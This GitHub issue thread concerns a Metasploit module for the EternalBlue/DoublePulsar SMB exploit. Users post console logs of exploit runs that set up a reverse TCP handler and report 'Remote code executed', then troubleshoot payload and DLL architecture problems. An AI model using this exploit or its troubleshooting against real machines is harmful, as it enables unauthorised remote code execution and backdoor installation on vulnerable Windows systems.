search

Telefonica / Eternalblue-Doublepulsar-Metasploit

Module of Metasploit to exploit the vulnerability Eternalblue-Doublepulsar.
GNU Lesser General Public License v2.1
1.09k stars 520 forks source link

backdoor is already installed.. #24

Open NoorQureshi opened 7 years ago

NoorQureshi commented 7 years ago 
[*] Started reverse TCP handler on 192.168.1.3:4444 
[*] IP_ADDRESS:445 - Generating Eternalblue XML data
[*] IP_ADDRESS:445 - Generating Doublepulsar XML data
[*] IP_ADDRESS:445 - Generating payload DLL for Doublepulsar
[*] IP_ADDRESS:445 - Writing DLL in /root/.wine/drive_c/eternal11.dll
[*] IP_ADDRESS:445 - Launching Eternalblue...
[+] IP_ADDRESS:445 - Backdoor is already installed
[*] IP_ADDRESS:445 - Launching Doublepulsar...
Error sending wrong architecture DLL to target
[+] IP_ADDRESS:445 - Remote code executed... 3... 2... 1...
[*] Exploit completed, but no session was created.

Now what to do? :(

6a61756d commented 7 years ago

@NoorQureshi Did you set what payload to use?

NickGoodLuck commented 7 years ago

So is ur dll also for x64?

ppdmartell commented 6 years ago

I'm having this same issue, how can I check if my DLL in drive_c (Wine) is compiled for x64 or x86, and if so, how to change the compiling architecture.

IBeDev commented 11 months ago

[] Started reverse TCP handler on 192.168.239.129:4444 [] 192.168.239.132:445 - Generating Eternalblue XML data [] 192.168.239.132:445 - Generating Doublepulsar XML data [] 192.168.239.132:445 - Generating payload DLL for Doublepulsar [] 192.168.239.132:445 - Writing DLL in /root/.wine/drive_c/eternal11.dll [] 192.168.239.132:445 - Launching Eternalblue... wine: could not load kernel32.dll, status c0000135 [-] 192.168.239.132:445 - Are you sure it's vulnerable? [] 192.168.239.132:445 - Launching Doublepulsar... wine: could not load kernel32.dll, status c0000135 [-] 192.168.239.132:445 - Oops, something was wrong! [] Exploit completed, but no session was created.